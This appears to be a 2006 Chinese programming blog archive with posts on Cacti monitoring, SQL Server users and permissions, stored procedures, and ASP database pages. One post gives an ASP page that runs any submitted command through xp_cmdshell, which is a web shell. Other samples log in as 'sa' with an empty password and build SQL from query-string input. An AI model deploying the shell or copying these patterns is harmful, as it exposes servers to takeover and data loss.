2006 二月

2006/02/23分析&监控

40条评论
58 views

使用cacti监测系统性能

一、概述

Linux下用的最多的是MRTG的性能监视，MRTG配置比较简单，MRTG的确是非常好的东东，但我认为它毕竟已经是一套很旧的软件了，其作者在多年前就已经开发了RRDTool代替该软件，现在已经发展得很成熟。既然有更好的选择，为什么我们还要用MRTG呢？

简单的说，rrdtool就是一个强大的绘图的引擎，很多语言都可以调用rrdtool绘图。

整个系统的架构是这样的：

基于SNMP协议，被监控端是服务器，或一些网络设备，

网络管理工作站，采用Linux(或Freebsd)操作系统，并且安装Net-SNMP工具，使用RRDTOOL采集数据，存储数据，并用Cacti调用rrdtool显示出来。

CACTI采用PHP编写，基于B/S结构。

二、介绍

MRTG的优点：简单、易上手，基本安装完了之后只要更改一下配置文件即可。

缺点：

1、使用文本式的数据库，数据不能重复使用；

2、只能按日、周、月、年来查看数据；

3、只能画两个DS（一条线、一个块）；

4、每取一次数据即需要绘图一次，浪费系统资源；

5、无管理功能；

rrdtool的优点：

1、使用rrd存储格式，数据能重复使用，比如我可以将一个rrd文件中的数据与另一个rrd文件中的数据相加。

2、可以定义任意时间段画图，即你可以画出一张半年以来的数据的图，也可以画出一张半小时以来的图。

3、能画任意个DS。

4、CDEF让你能任意摆弄数据。

缺点：

1、rrdtool的作用只是存储数据和画图，它没有mrtg中集成的数据采集功能；

2、在命令行的使用非常复杂，参数极多。

3、无管理功能。

简单的说，rrdtool就是一个强大的绘图的引擎。

由于其非常复杂的命令，对用户非常不友好。幸运的是，PHP可管理化的cacti（www.cacti.net)出现了。对该工具只有一个字形容：“great！”。 cacti其实是一套php程序，它运用snmpget采集数据，使用rrdtool绘图。它的界面非常漂亮，能让你根本无需明白rrdtool的参数能轻易的绘出漂亮的图形。更难能可贵的是，它提供了强大的数据管理和用户管理功能，一张图是属于一个host的，每一个host又可以挂载到一个树状的结构上。用户的管理上，作为一个开源软件，它居然做到为指定一个用户能查看的“树”、host、甚至每一张图，还可以与LDAP结合进行用户的验证！真是不由得佩服作者考虑的周到！Cacti还提供自己增加模板的功能，让你添加自己的snmp_query和script！可以说，cacti将rrdtool的所有“缺点”都补足了！

更多请见附件

[down=attachment/month_0602/f200622310515.doc]点击下载此文件[/down]

2006/02/20MSSQL技术, 数据库技术

37条评论
52 views

SQL Server的用户及权限

Sybase中的用户分为两种：SQL服务器用户（登录帐号）和数据库用户。安装完SQL服务器后，系统自动建立一个SQL服务器用户sa，口令为空，即系统管理员，他对整个系统有操作权，其他用户均由系统管理员建立。

在SQL Server中有三种特殊的用户：系统管理员、用户数据库所有者（建立相应数据库的数据库用户）DBO、一般用户。系统管理员对整个系统有操作权；用户数据库所有者对他所建立的数据库具有全部操作权利；一般用户对给定的数据库只有被授权的操作权限。

数据库用户一般可分为用户组，任一数据库在建立后即被赋予一个用户组public。

1、建立SQL服务器用户名（登录帐号）

作为一个用户，为了使用SQL Server，他必须在SQL Server上有一个SQL服务器用户名（登录帐号）。这个帐号是系统管理员通过sp_addlogin来增加的。

sp_addlogin 登录名，口令，库名，语言，全名

例：建立用户zhang, 口令为zhangling(最低六位)，全名为Zhang ling

1> sp_addlogin zhang,zhangling,null,null,Zhang ling

2> go

3> select * from syslogins

4> go

2、增加数据库用户名

同样，为了使用SQL Server上的数据库，他必须在数据库中有一个用户名，这个用户名是数据库所有者通过sp_adduser来增加的。数据库用户名不必和用户帐户一样，而且在不同的数据库中用户名可以不同。多个用户可以有相同的SQL Server帐户。同样，多个SQL Server帐户可以有相同的数据库名。

sp_adduser 登录名，别名，组名

登录名为用户的SQL服务器登录名；别名为用户在数据库中的用户名；组名为用户所属的数据库用户组。

例：用户zhang增加为tele114的用户，别名为zhang1,属于用户组china

1>sp_addgroup china

2>go

1>sp_adduser zhang,zhang1,china

2>go

1> sp_helpuser

2> go

*例：删除别名zhang1,用户组china,登录名zhang

1> use tele114

2> go

3> sp_dropuser zhang1

4> go

5> sp_helpuser

6> go

1>sp_dropgroup china

2>go

1> sp_helpgroup

2> go

3> use master

4> go

5> sp_droplogin zhang

6> go

7> select * from syslogins

8> go

3、数据库操作授权

grant 命令序列 to 用户名

A. 系统管理员可以授予其他用户Create DATABASE的权限，使其他用户可以成为数据库所有者。

B. 数据库所有者在他所拥有的数据库中，可以授予其他用户的权限有：

l Create TABLE ——————- 建表

lCreate DEFAULT —————— 建缺省

lCreate RULE ——————- 建规则

lCreate PROCedure —————— 建存储过程

lCreate VIEW ——————- 建视图

lDUMP DATABASE ——————- 备份数据库

lDUMP TRANsaction —————— 备份日志

C. 数据库对象所有者可以授予其他用户的操作权限有：

l Select

l Update

l Insert

l EXECute

l Delete

l REFERENCE

例：授予zhang1在数据库tele114上建表，建视图，建存储过程;对表students有select,reference权；对name,native字段有update权。

1> use tele114

2> go

3> grant creat table,create procedure ,create view to zhang1

4> go

5> grant select,reference on students to zhang1 with grant option 6> go

7> grant update on students(name,native) to zhang1

8> go

9> sp_helprotect

10> go

2006/02/18MSSQL技术, 数据库技术

46条评论
39 views

将表数据生成SQL脚本的存储过程

Create&nbsp;PROCEDURE&nbsp;dbo.UspOutputData&nbsp; @tablename&nbsp;sysname&nbsp; AS&nbsp; declare&nbsp;@column&nbsp;varchar(1000)&nbsp; declare&nbsp;@columndata&nbsp;varchar(1000)&nbsp; declare&nbsp;@sql&nbsp;varchar(4000)&nbsp; declare&nbsp;@xtype&nbsp;tinyint&nbsp; declare&nbsp;@name&nbsp;sysname&nbsp; declare&nbsp;@objectId&nbsp;int&nbsp; declare&nbsp;@objectname&nbsp;sysname&nbsp; declare&nbsp;@ident&nbsp;int&nbsp; set&nbsp;nocount&nbsp;on&nbsp; set&nbsp;@objectId=object_id(@tablename)&nbsp; if&nbsp;@objectId&nbsp;is&nbsp;null&nbsp;–&nbsp;判斷對象是否存在&nbsp; begin&nbsp; print&nbsp;'The&nbsp;object&nbsp;not&nbsp;exists'&nbsp; return&nbsp; end&nbsp; set&nbsp;@objectname=rtrim(object_name(@objectId))&nbsp; if&nbsp;@objectname&nbsp;is&nbsp;null&nbsp;or&nbsp;charindex(@objectname,@tablename)=0&nbsp;–此判断不严密&nbsp; begin&nbsp; print&nbsp;'object&nbsp;not&nbsp;in&nbsp;current&nbsp;database'&nbsp; return&nbsp; end&nbsp; if&nbsp;OBJECTPROPERTY(@objectId,'IsTable')&nbsp;&lt;&nbsp;&gt;&nbsp;1&nbsp;–&nbsp;判斷對象是否是table&nbsp; begin&nbsp; print&nbsp;'The&nbsp;object&nbsp;is&nbsp;not&nbsp;table'&nbsp; return&nbsp; end&nbsp; select&nbsp;@ident=status&amp;0×80&nbsp;from&nbsp;syscolumns&nbsp;where&nbsp;id=@objectid&nbsp;and&nbsp;status&amp;0×80=0×80&nbsp; if&nbsp;@ident&nbsp;is&nbsp;not&nbsp;null&nbsp; print&nbsp;'SET&nbsp;IDENTITY_Insert&nbsp;'+@TableName+'&nbsp;ON'&nbsp; declare&nbsp;syscolumns_cursor&nbsp;cursor for&nbsp;select&nbsp;c.name,c.xtype&nbsp;from&nbsp;syscolumns&nbsp;c&nbsp;where&nbsp;c.id=@objectid&nbsp;order&nbsp;by&nbsp;c.colid&nbsp; open&nbsp;syscolumns_cursor&nbsp; set&nbsp;@column=''&nbsp; set&nbsp;@columndata=''&nbsp; fetch&nbsp;next&nbsp;from&nbsp;syscolumns_cursor&nbsp;into&nbsp;@name,@xtype&nbsp; while&nbsp;@@fetch_status&nbsp;&lt;&nbsp;&gt;-1&nbsp; begin&nbsp; if&nbsp;@@fetch_status&nbsp;&lt;&nbsp;&gt;-2&nbsp; begin&nbsp; if&nbsp;@xtype&nbsp;not&nbsp;in(189,34,35,99,98)&nbsp;–timestamp不需处理，image,text,ntext,sql_variant&nbsp;暂时不处理&nbsp; begin&nbsp; set&nbsp;@column=@column+case&nbsp;when&nbsp;len(@column)=0&nbsp;then''&nbsp;else&nbsp;','end+@name&nbsp; set&nbsp;@columndata=@columndata+case&nbsp;when&nbsp;len(@columndata)=0&nbsp;then&nbsp;''&nbsp;else&nbsp;','','',' end&nbsp; +case&nbsp;when&nbsp;@xtype&nbsp;in(167,175)&nbsp;then&nbsp;'''''''''+'+@name+'+'''''''''&nbsp;–varchar,char&nbsp; when&nbsp;@xtype&nbsp;in(231,239)&nbsp;then&nbsp;'''N''''''+'+@name+'+'''''''''&nbsp;–nvarchar,nchar&nbsp; when&nbsp;@xtype=61&nbsp;then&nbsp;'''''''''+convert(char(23),'+@name+',121)+'''''''''&nbsp;–datetime&nbsp; when&nbsp;@xtype=58&nbsp;then&nbsp;'''''''''+convert(char(16),'+@name+',120)+'''''''''&nbsp;–smalldatetime&nbsp; when&nbsp;@xtype=36&nbsp;then&nbsp;'''''''''+convert(char(36),'+@name+')+'''''''''&nbsp;–uniqueidentifier&nbsp; else&nbsp;@name&nbsp;end&nbsp; end&nbsp; end&nbsp; fetch&nbsp;next&nbsp;from&nbsp;syscolumns_cursor&nbsp;into&nbsp;@name,@xtype&nbsp; end&nbsp; close&nbsp;syscolumns_cursor&nbsp; deallocate&nbsp;syscolumns_cursor&nbsp; set&nbsp;@sql='set&nbsp;nocount&nbsp;on&nbsp;select&nbsp;''insert&nbsp;'+@tablename+'('+@column+')&nbsp;values(''as&nbsp;''–'','+@columndata+','')''&nbsp;from&nbsp;'+@tablename&nbsp; print&nbsp;'–'+@sql&nbsp; exec(@sql)&nbsp; if&nbsp;@ident&nbsp;is&nbsp;not&nbsp;null&nbsp; print&nbsp;'SET&nbsp;IDENTITY_Insert&nbsp;'+@TableName+'&nbsp;OFF'&nbsp; GO exec&nbsp;UspOutputData&nbsp;你的表名

网络编程

34条评论
37 views

asp调用数据库存储过程

<%Set Dataconn = Server.CreateObject("ADODB.Connection")

'建立连接对象

Dataconn.Open "DSN=SinoTrans;SERVER=APP_SERVER;UID=sa;PWD=;APP=Microsoft(R) Developer Studio;WSID=APP_SERVER;Regional=Yes"

Set cmdTemp = Server.CreateObject("ADODB.Command")

'建立命令对象

Set rst = Server.CreateObject("ADODB.Recordset")

'建立记录集对象

cmdTemp.CommandText = "dbo.pd_test" '存储过程名称

cmdTemp.CommandType = 4

'命令类别为4,表示为存储过程

Set cmdTemp.ActiveConnection = Dataconn

Set tmpParam = cmdTemp.CreateParameter("Return value", 3, 4, 4)

cmdTemp.Parameters.Append tmpParam

Set tmpParam = cmdTemp.CreateParameter("@BeginDate", 135, 1, 16, riqi)

'创建输入参数对象

cmdTemp.Parameters.Append tmpParam

rst.Open cmdTemp, , 1, 3

'生成查询结果

这里调用的存储过程为pd_test，这种是ADO中提供的标准方法，但存在一个问题，就是当在存储过程中有两个以上的Select语句，但从逻辑上又不可能同时执行的时候，ADO会提示你存储过程中Select语句太多，解决方法是直接用ADO的CONNECTION对象的EXECUTE方法直接执行存储过程，如下：

Set Dataconn = Server.CreateObject("ADODB.Connection")

'建立连接对象

Dataconn.Open "DSN=SinoTrans;SERVER=APP_SERVER;UID=sa;PWD=;APP=Microsoft(R) Developer Studio;WSID=APP_SERVER;Regional=Yes"

ss = "EXECUTE dbo.pd_test " & "'" & riqi1 & "'"

Set rs = dataconn.Execute(ss)

网络编程

36条评论
38 views

利用sql的存储过程实现dos命令的asp程序

1、首先在sql里面你能够访问的数据库里面建立存储过程，比如说：ddy

如下：

Create PROCEDURE ddy

@cmd varchar(50)

exec master..xp_cmdshell @cmd

2、asp程序里如下：（hacksql.asp）

cmd=trim(Request.Form("cmd"))

if cmd<>"" then

work()

else

show()

end if

function work()

set conn=server.CreateObject("adodb.connection")

set rs=server.CreateObject("adodb.recordset")

conn.Open "xx","sa",""

sql="exec ddy '"&cmd&"'"

rs.Open sql,conn

if not rs.EOF then

do while not rs.eof

Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"

rs.MoveNext

loop

else

Response.Write "no"

end if

if rs.State=1 then rs.close

set rs=nothing

conn.Close

set conn=nothing

end function

function show()

请输入DOS命令：<input type=text name=cmd>

</form>

end function

function htmlencode2(str)'——–转换函数（为了显示时比较工整）

dim result

dim l

if isnull(str) then

htmlencode2=""

exit function

end if

l=len(str)

result=""

dim i

for i = 1 to l

select case mid(str,i,1)

case "<"

result=result+"<"

case ">"

result=result+">"

case chr(34)

result=result+"""

case "&"

result=result+"&"

case chr(13)

result=result+" "

case chr(9)

result=result+" "

case "'"

result=result+"’"

case chr(32)

result=result+" "

if i+1<=l and i-1>0 then

if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then

result=result+" "

else

result=result+" "

end if

else

result=result+" "

end if

case else

result=result+mid(str,i,1)

end select

htmlencode2=result

end function

网络编程

28条评论
38 views

用asp程序显示sql数据库所有表的名称（带删除功能）

' Define your sql info here

strSQLDSN = "xxxx"

strSQLUsername = "sa"

strSQLPassword = ""

' This is where we connect to our sql server

Set adoConn = Server.CreateObject("ADODB.Connection")

ConnectionString = "dsn=" & strSQLDSN & ";uid=" & strSQLUsername & ";pwd=" & strSQLPassword & ""

adoConn.Open ConnectionString

Set adoRS = Server.CreateObject("ADODB.Recordset")

' now we will just difine a couple things

showblank = " "

shownull = "-null-"

If Request.QueryString("action") = "del" Then

Delete_Data

Else

If Request.QueryString("table") <> "" Then

' A table has been selected

Page_Head

Display_Table_Names

If Request.QueryString("msg") = "deleted" Then

Response.Write(" ")

Response.Write("成功删除数据")

Else

Response.Write(" ")

End If

Display_Table_Info

Else

' No table has been selected.

Page_Head

Display_Table_Names

End If

Sub Page_Head

<HTML>

<HEAD>

<TITLE>SQL Viewer</TITLE>

<BODY aLink=#0663bf leftMargin="0" link="#0663bf" topMargin="0" vLink="#0663bf" MARGINHEIGHT="0"

MARGINWIDTH="0">

</HEAD>

End Sub

Sub Delete_Data

strSQL = "Delete From " & Request.QueryString("table") & " Where ID='" &

Request.QueryString("id") & "'"

Set adoRS = adoConn.Execute(strSQL)

strURL = "index.asp?table=" & Request.QueryString("table") & "&msg=deleted"

Response.Redirect(strURL)

End Sub

Sub Display_Table_Names

Response.Write("<div align=""center""><center>" & vbCrLf)

Response.Write("" & vbCrLf)

Response.Write("<table border=""1"" cellpadding=""0"" cellspacing=""0"" width=""36%""

bordercolor=""#9b9180"">" & vbCrLf)

Response.Write(" <tr bgColor=""#9b9180"">" & vbCrLf)

Response.Write(" <td width=""100%""><font

color=""#FFFFFF"">SQL Viewer</td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write(" <tr bgColor=""#dcd8d1"">" & vbCrLf)

Response.Write(" <td width=""100%""><div align=""center""><center><table border=""0""

cellpadding=""0""" & vbCrLf)

Response.Write(" cellspacing=""0"" width=""100%"">" & vbCrLf)

Response.Write(" <tr>" & vbCrLf)

Response.Write(" <td width=""100%""> </td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write(" <tr>" & vbCrLf)

Response.Write(" <td width=""100%"" NOWRAP><center> <select size=""1""

name=""Table"" style=""font-family: Verdana; font-size: 8pt""

onChange=""top.location.href=this.options[this.selectedIndex].value"">" & vbCrLf)

Response.Write(" <option selected value>请选择表名进行查看.</option>" & vbCrLf)

strSQL = "Select name FROM sysobjects Where xtype = 'U' AND (Not (id) = 133575514) orDER

BY name"

Set adoRS = adoConn.Execute(strSQL)

Do While Not adoRS.EOF

Response.Write "<option value=""index.asp?table=" & adoRS("name") & """>" &

adoRS("name") & "</option>"

adoRS.MoveNext

Loop

Response.Write(" </select> </center></td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write(" <tr>" & vbCrLf)

Response.Write(" <td width=""100%""> </td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write(" </table>" & vbCrLf)

Response.Write(" </center></div></td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write("</table>" & vbCrLf)

Response.Write("</center></div>" & vbCrLf)

End Sub

Sub Display_Table_Info

Response.Write("<div align=""center""><center>" & vbCrLf)

Response.Write("<table border=""1"" cellpadding=""0"" cellspacing=""0"" width=""36%""

bordercolor=""#9b9180"">" & vbCrLf)

Response.Write(" <tr bgColor=""#9b9180"">" & vbCrLf)

Response.Write(" <td width=""100%""><font

color=""#FFFFFF"">SQL 破戒</td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write(" <tr bgColor=""#dcd8d1"">" & vbCrLf)

Response.Write(" <td width=""100%""><div align=""center""><center><table border=""0""

cellpadding=""0""" & vbCrLf)

Response.Write(" cellspacing=""0"" width=""100%"">" & vbCrLf)

Response.Write(" <tr>" & vbCrLf)

Response.Write(" <td></td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write(" <tr>" & vbCrLf)

' This selects the table that we want to use.

strSQL="select * from " & Request.QueryString("table") & ""

set adoRS=adoConn.execute(strSQL)

' Now lets start the table

Response.Write("<table border=""1""><tr>" & vbCrLf)

' this will find all the fields in that table and write them out

FOR EACH fieldname IN adoRS.fields

Response.Write("<td>" & fieldname.name & "</TD>")

NEXT ' fieldname

Response.Write("<td>删除</TD>")

Response.Write(" </tr>" & vbCrLf)

DO UNTIL adoRS.eof

Response.Write("<tr>")

FOR EACH fieldname IN adoRS.fields

strFieldvalue=fieldname.value

strField=fieldname.name

IF isnull(strFieldvalue) THEN

strFieldvalue=shownull

END IF

IF trim(strFieldvalue)="" THEN

strFieldvalue=showblank

END IF

IF strField = "ID" or strField = "id" THEN

strRecordID = strFieldvalue

END IF

Response.Write("<td valign=top>" & strFieldvalue &

"</td>" & vbCrLf)

Response.Write("<td valign=top><a href=""index.asp?table=" &

Request.QueryString("table") & "&id=" & strRecordID & "&action=del"">删除</a></td>" &

vbCrLf)

adoRS.movenext

LOOP

Response.Write("</table>")

adoRS.close

Response.Write(" </tr>" & vbCrLf)

Response.Write(" <tr>" & vbCrLf)

Response.Write(" <td></td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write(" </table>" & vbCrLf)

Response.Write(" </center></div></td>" & vbCrLf)

Response.Write(" </tr>" & vbCrLf)

Response.Write("</table>" & vbCrLf)

Response.Write("</center></div>" & vbCrLf)

End Sub

网络编程

35条评论
52 views

图片上传的WebForm(自动生成所略图)

<%@ Page language="c#" Codebehind="feUploadPic.aspx.cs" AutoEventWireup="false" Inherits="cj168.Web.Mag.Admins.FeData.feUploadPic" %>

<%@ Register TagPrefix="cj168" TagName="Header" Src="modules/headerFe.ascx" %>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<HTML>

<HEAD>

<title>fedata</title>

.calPicDate { FONT-SIZE: 9pt; FONT-FAMILY: Verdana, Helvetica, sans-serif }

.valid { FONT-SIZE: 9pt; COLOR: red }

TD { FONT-SIZE: 9pt }

</style>

</HEAD>

<tr>

</tr>

</table>

<TR>

< asp:requiredfieldvalidator id="Requiredfieldvalidator1" runat="server" ErrorMessage ="请填写图片标题。" CssClass="valid" ControlToValidate="txtboxPicTitle">< /asp:requiredfieldvalidator>

<asp:regularexpressionvalidator id ="vldCatName" ErrorMessage="图片标题至少2个字符，不应包含’“ ” ! @ # $ % ^ & * ( ) < > 《》{ } [ ] ? 。，？￥" CssClass="valid" ControlToValidate= "txtboxPicTitle" ValidationExpression="[^’^“^”^^!^@^#^$^%^^^&^*^(^) ^<^>^《^》^?^。^，^？^￥^^][^]]" Runat="server"></asp: regularexpressionvalidator></TD>

</TR>

<TR>

< TD><asp:textbox id="txtboxPicDate" runat="server" Width="300">< /asp:textbox><asp:calendar id="calPicDate" runat="server" CssClass= "calPicDate" Width="300" SelectMonthText="本月" SelectWeekText="本周 " NextPrevFormat="FullMonth" OnSelectionChanged="CalDateSelected">

</asp:calendar>

< asp:requiredfieldvalidator id="Requiredfieldvalidator2" runat="server" ErrorMessage ="请选择或填写图片日期。" CssClass="valid" ControlToValidate="txtboxPicDate"> </asp:requiredfieldvalidator>

<asp:customvalidator id ="CustomValidator1" ErrorMessage="不是个有效的日期格式" CssClass= "valid" ControlToValidate="txtboxPicDate" Runat="server" OnServerValidate="ServerValidateCheckDate"></asp:customvalidator></TD>

</TR>

<TR>

</TR>

<TR>

<asp:RegularExpressionValidator id="Regularexpressionvalidator2" Runat ="server" CssClass="valid" ErrorMessage="内容中不应包含 ’ < > " ControlToValidate="txtboxPicIntro" ValidationExpression="[^’^<^>]"></asp:RegularExpressionValidator>

</TD>

</TR>

<tr>

<td colSpan="2">(支持文件格式：Jpg, Gif, Png)</td>

</tr>

</TABLE>

<tr>

< asp:RegularExpressionValidator id="Regularexpressionvalidator3" Runat="server" CssClass ="valid" ErrorMessage="文件名只能由字母或数字组成，不能包含 – _ 等其他符号长度至少为 1" ControlToValidate="filePicName" ValidationExpression="[ :.a-zA-Z0-9]"></asp:RegularExpressionValidator>

</td>

<asp:ListItem Value="1">覆盖原有图片</asp:ListItem>

</asp:checkboxlist></td>

</tr>

</table>

<TR>

< TD align="middle"><asp:button id="btnSubmit" onclick="UploadFile" runat ="server" Text="确定"></asp:button></TD>

</TR>

<TR>

<TD><asp:label id="lblPicInfo" runat="server">Label</asp:label></TD>

</TR>

<TR>

<TD>

</TD>

</TR>

</table>

</form>

<asp:HyperLink id="hlkOriPic" runat="server">原图</asp:HyperLink>

<asp:HyperLink id="hlkNewPic" runat="server">缩略图</asp:HyperLink>

</body>

</HTML>

2006/02/17网络编程

39条评论
39 views

ASP备份数据库

ASP备份数据库 &nbsp; 　文件1：BackupDB.asp&nbsp; 　 &lt;%@&nbsp;Language=VBScript&nbsp;%&gt; &lt;HTML&gt; &lt;HEAD&gt; &lt;META&nbsp;name=VI60_defaultClientScript&nbsp;content=VBScript&gt; &lt;META&nbsp;NAME=&quot;GENERATOR&quot;&nbsp;Content=&quot;Microsoft&nbsp;FrontPage&nbsp;4.0&quot;&gt; &lt;SCRIPT&nbsp;ID=clientEventHandlersVBS&nbsp;LANGUAGE=vbscript&gt; &lt;!– Sub&nbsp;btnbak_onclick if&nbsp;frmbak.txtsvr.value=&quot;&quot;&nbsp;then window.alert(&quot;'Server&nbsp;Name'&nbsp;is&nbsp;empty!&quot;) frmbak.txtsvr.focus exit&nbsp;sub end&nbsp;if if&nbsp;frmbak.txtuid.value=&quot;&quot;&nbsp;then window.alert(&quot;'Administrators'&nbsp;is&nbsp;empty!&quot;) frmbak.txtuid.focus exit&nbsp;sub end&nbsp;if if&nbsp;frmbak.txtdb.value=&quot;&quot;&nbsp;then window.alert(&quot;'Database'&nbsp;is&nbsp;empty!&quot;) frmbak.txtdb.focus exit&nbsp;sub end&nbsp;if if&nbsp;frmbak.txtto.value=&quot;&quot;&nbsp;then window.alert(&quot;'Backup&nbsp;To'&nbsp;is&nbsp;empty!&quot;) frmbak.txtto.focus exit&nbsp;sub end&nbsp;if frmbak.submit End&nbsp;Sub –&gt; &lt;/SCRIPT&gt; &lt;link&nbsp;rel=&quot;stylesheet&quot;&nbsp;href=&quot;../../sheets/B2BStyle.css&quot;&gt; &lt;/HEAD&gt; &lt;form&nbsp;action=&quot;backupdbsave.asp&quot;&nbsp;method=&quot;post&quot;&nbsp;id=frmbak&nbsp;name=frmbak&gt; &lt;body&nbsp;class=&quot;bg_frame_up&quot;&gt; &lt;p&nbsp;class=heading&gt;&nbsp;Database&nbsp;–&gt;&nbsp;Backup&lt;/p&gt; &lt;P&nbsp;align=center&gt; &lt;div&nbsp;align=&quot;center&quot;&gt; &lt;center&gt; &lt;table&nbsp;width=&quot;60%&quot;&nbsp;cellpadding=1&nbsp;cellspacing=1&nbsp;border=0&nbsp;align=center&gt; &lt;tr&gt; &lt;td&nbsp;class=TD_Mand_FN&nbsp;align=&quot;center&quot;&nbsp;height=&quot;35&quot;&nbsp;width=&quot;40%&quot;&gt;Server&nbsp;Name:&lt;/td&gt; &lt;td&nbsp;class=TD_Mand_F&nbsp;height=&quot;35&quot;&nbsp;width=&quot;59%&quot;&gt;&nbsp; &lt;INPUT&nbsp;id=txtsvr&nbsp;name=txtsvr&nbsp;size=&quot;20&quot;&nbsp;style=&quot;font-family:&nbsp;Arial;&nbsp;font-size:&nbsp;9pt&quot;&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&nbsp;class=TD_Mand_FN&nbsp;align=&quot;center&quot;&nbsp;height=&quot;35&quot;&nbsp;width=&quot;40%&quot;&gt;Administrators:&lt;/td&gt; &lt;td&nbsp;class=TD_Mand_F&nbsp;height=&quot;35&quot;&nbsp;width=&quot;59%&quot;&gt;&nbsp; &lt;INPUT&nbsp;id=txtuid&nbsp;name=txtuid&nbsp;size=&quot;20&quot;&nbsp;style=&quot;font-family:&nbsp;Arial;&nbsp;font-size:&nbsp;9pt&quot;&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&nbsp;class=TD_Mand_FN&nbsp;align=&quot;center&quot;&nbsp;height=&quot;35&quot;&nbsp;width=&quot;40%&quot;&gt;Password:&lt;/td&gt; &lt;td&nbsp;class=TD_Mand_F&nbsp;height=&quot;35&quot;&nbsp;width=&quot;59%&quot;&gt;&nbsp; &lt;INPUT&nbsp;id=txtpwd&nbsp;name=txtpwd&nbsp;type=password&nbsp;style=&quot;font-family:&nbsp;Arial;&nbsp;font-size:&nbsp;9pt&quot;&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&nbsp;class=TD_Mand_FN&nbsp;align=&quot;center&quot;&nbsp;height=&quot;35&quot;&nbsp;width=&quot;40%&quot;&gt;Database:&lt;/td&gt; &lt;td&nbsp;class=TD_Mand_F&nbsp;height=&quot;35&quot;&nbsp;width=&quot;59%&quot;&gt;&nbsp; &lt;p&nbsp;align=&quot;left&quot;&gt;&nbsp; &lt;INPUT&nbsp;id=txtdb&nbsp;name=txtdb&nbsp;size=&quot;20&quot;&nbsp;style=&quot;font-family:&nbsp;Arial;&nbsp;font-size:&nbsp;9pt&quot;&gt;&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;td&nbsp;class=TD_Mand_FN&nbsp;align=&quot;center&quot;&nbsp;height=&quot;35&quot;&nbsp;width=&quot;40%&quot;&gt;Backup&nbsp;To:&lt;br&gt; &lt;u&gt;(Server&nbsp;Path)&lt;/u&gt;&lt;/td&gt;&nbsp; &lt;td&nbsp;class=TD_Mand_F&nbsp;height=&quot;35&quot;&nbsp;width=&quot;59%&quot;&gt;&nbsp; &lt;input&nbsp;id=txtto&nbsp;name=txtto&nbsp;style=&quot;font-family:&nbsp;Arial;&nbsp;font-size:&nbsp;9pt&quot;&gt;&lt;/td&gt;&nbsp; &lt;/tr&gt;&nbsp; &lt;/table&gt;&nbsp; &lt;/center&gt;&nbsp;&lt;/div&gt;&nbsp; &lt;p&nbsp;align=center&gt;&lt;input&nbsp;id=btnbak&nbsp;name=btnbak&nbsp;type=button&nbsp;value=&quot;Start&nbsp;Backup&quot;&nbsp;style=&quot;font-family:&nbsp;Arial;&nbsp;font-size:&nbsp;9pt&quot;&gt;&lt;/p&gt;&nbsp; &lt;/body&gt;&nbsp; &lt;/form&gt;&nbsp; &lt;/HTML&gt;&nbsp; 文件2：BackupDBSave.asp &lt;%@&nbsp;Language=VBScript&nbsp;%&gt; &lt;% dim&nbsp;msvr,muid,mpwd,mdb,mto msvr=Request.Form(&quot;txtsvr&quot;) muid=Request.Form(&quot;txtuid&quot;) mpwd=Request.Form(&quot;txtpwd&quot;) mdb=Request.Form(&quot;txtdb&quot;) mto=Request.Form(&quot;txtto&quot;) if&nbsp;mpwd=&quot;&quot;&nbsp;then&nbsp;mpwd=&quot;''&quot; on&nbsp;error&nbsp;resume&nbsp;next set&nbsp;dmosvr=server.CreateObject(&quot;SQLDMO.SQLServer&quot;) dmosvr.connect&nbsp;msvr,muid,mpwd if&nbsp;err.number&gt;0&nbsp;then&nbsp;Response.Redirect(&quot;http:backuperr.asp?err=&quot;&amp;err.number) mdevname=&quot;Backup_&quot;&amp;muid&amp;&quot;_&quot;&amp;mdb set&nbsp;dmodev=server.CreateObject(&quot;SQLDMO.BackupDevice&quot;) dmodev.name=mdevname dmodev.type=2 dmodev.PhysicalLocation=mto dmosvr.BackupDevices.Add&nbsp;dmodev if&nbsp;err.number&gt;0&nbsp;then&nbsp;Response.Redirect(&quot;http:backuperr.asp?err=&quot;&amp;err.number) set&nbsp;dmobak=server.CreateObject(&quot;SQLDMO.Backup&quot;) dmobak.database=mdb dmobak.devices=mdevname %&gt; &lt;HTML&gt; &lt;HEAD&gt; &lt;META&nbsp;NAME=&quot;GENERATOR&quot;&nbsp;Content=&quot;Microsoft&nbsp;Visual&nbsp;Studio&nbsp;6.0&quot;&gt; &lt;/HEAD&gt; &lt;body&nbsp;background=&quot;../../Images/dot.gif&quot;&gt; &lt;p&gt;&lt;strong&gt;Backuping,&nbsp;wait&nbsp;please…&lt;/strong&gt;&lt;/p&gt; &lt;% dmobak.sqlbackup&nbsp;dmosvr if&nbsp;err.number&gt;0&nbsp;then&nbsp;Response.Redirect(&quot;http:backuperr.asp?err=&quot;&amp;err.number) dmosvr.backupdevices(mdevname).remove set&nbsp;dmobak=nothing set&nbsp;dmodev=nothing dmosvr.disconnect set&nbsp;dmosvr=nothing %&gt; &lt;p&gt;&lt;strong&gt;Database&nbsp;'&lt;%=mdb%&gt;'&nbsp;backup&nbsp;successed!&lt;/strong&gt;&lt;/p&gt; &lt;/BODY&gt; &lt;/HTML&gt; 文件3：BackupErr.asp &lt;%@&nbsp;Language=VBScript&nbsp;%&gt; &lt;% dim&nbsp;errno,errstr errno=Request.QueryString(&quot;err&quot;) errstr=&quot;&quot; select&nbsp;case&nbsp;cstr(errno) case&nbsp;&quot;18456&quot; 